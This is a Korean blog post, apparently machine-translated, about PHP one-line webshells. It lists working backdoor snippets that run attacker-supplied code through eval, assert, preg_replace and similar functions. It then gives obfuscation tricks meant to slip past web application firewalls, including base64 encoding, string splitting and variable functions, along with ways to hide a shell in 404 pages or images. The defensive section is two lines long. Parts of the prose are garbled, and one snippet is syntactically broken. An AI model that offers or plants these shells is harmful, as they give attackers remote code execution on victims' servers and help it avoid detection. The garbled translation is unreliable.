개발 꿀팁/PHP

php 한마디 목마 변형 기술

Jammie 2022. 6. 29. 12:23
반응형

일, 무슨 말이 목마냐?
한마디로 목마는 한 줄만 필요하다코드의 목마는 한 줄의 코드만으로도 말과 비슷한 기능을 할 수 있다.waf 검출을 우회하기 위해 한 마디로 목마가 무수히 변형됐지만 본질은 변하지 않았다:목마의 함수는 우리가 보낸 명령을 실행했다.

2. 우리가 어떻게 명령을 보내는지, 보낼까?보낸 명령은 어떻게 집행합니까?
저희가 GET, P를 통해서OST, COOKIE 이 세 가지 방식으로 하나의 사이트에 데이터를 제출합니다. 한마디로 목마는 $_GET['], $_POST[''], $_COOKIE['']로 우리가 전달한 데이터를 수신하고 수신한 데이터를 전달합니다.한마디로 목마에서 명령을 실행하는 함수, 나아가 명령을 실행하는 것이다. 그래서 목마는 대개 두 가지 부분만 있는데 하나는 코드를 실행할 수 있는 함수 부분이고 하나는 데이터를 받는 부분입니다.
0.eval 함수

<?php eval($_POST['a']) ?>

여기서 eval은 명령을 실행하는 함수이고, **$_POST['a']**는 수신된 데이터이다.eval 함수는 수신된 데이터를 PHP 코드로 실행한다.이렇게 하면 과거 우리가 전달했던 임의의 PHP 문구를 목마가 삽입된 사이트에서 실행할 수 있다.한마디로 목마의 강점이다.

목마는 post 요청 중 "a"의 데이터를 수신하기 때문에($_POST['a']), 우리는 post 방식으로 데이터를 전송하고 우리가 실행할 코드를 "a"에 할당해야 한다.목마의 포스트를 get으로 대체하면 나는 GET 방법으로 "a"를 보내야 한다.

다른 함수를 이용하여 한 마디의 목마를 만든다.
1.assert 함수

<?php assert(@$_POST['a']); ?>

2.create_function 함수

<?php
$fun = create_function('',$_POST['a']);
$fun();
?>

사용자가 전달한 데이터를 fun() 함수 생성하기 전에 fun()

3. call_user_func 콜백 함수

<?php
@call_user_func(assert,$_POST['a']);
?>

call_user_func라는 함수는 다른 함수를 호출할 수 있는데, 호출된 함수는 call_user_func의 첫 번째 함수이고 호출된 함수의 인수는 call_user_func의 두 번째 인수이다.

이런 말 하나만으로도 목마 한마디가 완성된다.waf가 가로채는 목마는 이 함수에 맞춰 waf를 우회할 수 있다.

4.preg_replace 함수

<?php
@preg_replace("/abcde/e", $_POST['a'], "abcdefg");
?>

이 함수는 원래 정규 표현식을 이용하여 조건에 맞는 문자열을 대체하는데, 이 함수는 명령어를 실행할 수 있는 기능을 가지고 있습니다.

이 함수의 첫 번째 인자는 정규 표현식이며, PHP의 형식에 따라 두 개의 "/" 사이에 표현식이 있다.만약 우리가 이 시계에 있다면달식의 끝에 'e'가 붙으면 이 함수의 두 번째 파라미터가 코드로 실행된다.

5. file_put_contents 함수
함수를 이용하여 목마를 생성하다

<?php
$test='<?php $a=$_POST["cmd"];assert($a); ?>';
file_put_contents("Trojan.php", $test);
?>

함수 기능: 첫 번째 인자는 파일 이름, 두 번째 인자는 파일 내용입니다.

6.array 배열

<?php
$a='assert';
array_map("$a",$_REQUEST);
?>

상기 정의 파라미터 a와 함께 'assert'를 부여하고 실행문을 array_map() 함수를 이용하여 스플라이싱한다.최종적으로 assert($_REQUEST)를 실현한다.

<?php
$item['JON']='assert';
$array[]=$item;
$array[0]['JON']($_POST["TEST"]);
?>

함수의 조합 효과를 이용하여 여러 개의 인수가 전달된 후에 하나의 명령으로 조합되어 실행되도록 한다

 

7.PHP 변수 함수

<?php
$a = "eval";
$a(@$_POST['a']);
?>

세 번째 줄에는 변수 함수 $a를 사용하고, 변수는 함수명 eval을 저장하면 함수명 대신 변수를 사용할 수 있다.

3. 어떻게 말 한마디가 waf를 우회하게 할 수 있을까?
waf는 사이트의 방화벽. 예를 들어 보안견이 waf의 일종이다.waf는 통상 키워드로 한 문장인지 아닌지를 판단한다말목마, 그러나 말 한마디에 목마의 변형은 여러 가지가 있다.waf가 모두 차단하는 것은 불가능하다.waf를 우회하기 위해서는 다양한 PHP 스킬을 익혀야 하는데, 스킬이 많아지면 스킬을 결합해 나만의 말 한마디의 목마를 디자인해야 한다.

2.PHP 가변 변수
<?php
$bb="eval";
$aa="bb";
$$aa($_POST['a']);
?>

이 문장을 보면 $aa = (((aa) = $ ('bb') = $bb = "eval"이라는 위 문구를 이해할 수 있다.

3.str_replace 함수

<?php
$a=str_replace("Waldo", "", "eWaldoval");
$a(@$_POST['a']);
?>

함수 기능: 세 번째 매개 변수에서 첫 번째 매개 변수를 찾고 두 번째 매개 변수로 대체합니다.여기서 두 번째 파라미터는 빈 문자열로 'Waldo'를 삭제하는 것과 같다.

4. base64_decode 함수

<?php
$a=base64_decode("ZXZhbA==")
$a($_POST['a']);
?>

여기서 base64 복호화 함수이며, 'ZXZhbA=='는 eval의 base64 암호화이다.

5.
"."연산자

<?php
$a="e"."v";
$b="a"."l";
$c=$a.$b;
$c($_POST['a']);
?>

6.parse_str 함수

<?php
$str="a=eval";
parse_str($str);
$a($_POST['a']);
?>

이 함수를 실행하면 문자열 "eval" 의 변수 $a 를 생성합니다.

7.데이터 소스 교체
7.1GET 편

<?php $_GET[a]($_GET[b]);  ?>

<?php @eval( $_GET[$_GET[b]])>

이용방법:

b=cmd&cmd=phpinfo()

7.2 <? 대신 script를 이용한다. ·?>라벨

<script language="php">@eval_r($_GET[b])</script>

8.문자 대체 또는 특수 인코딩

9.목마가 숨다
1.404 페이지
2.그림 목마, 파일 포함 호출
사. 총결산
바이패스 기술:

실행 데이터 원본 바꾸기
문자 바꾸기 또는 인코딩
은닉 수단을 취하다
tips : 말 한마디로 목마를 사용할 때함수 앞에 '@' 기호를 붙일 수 있습니다.php 문장이 틀리지 않도록 하기정보를 잘못 알려 은폐성을 높이다.

5. 방어
1.assert() 함수 비활성화, eval() 모니터링
2. 검색 로그의 assert.
우회할 수도 있습니다.

<?php $c=$_GET[n].'t';
 @$c($_POST[cmd]);
 ?>
<?php $c=base64_decode('YXNzZXI=').$_GET[n].'t';
 @$c($_POST[cmd]);
 ?>

반응형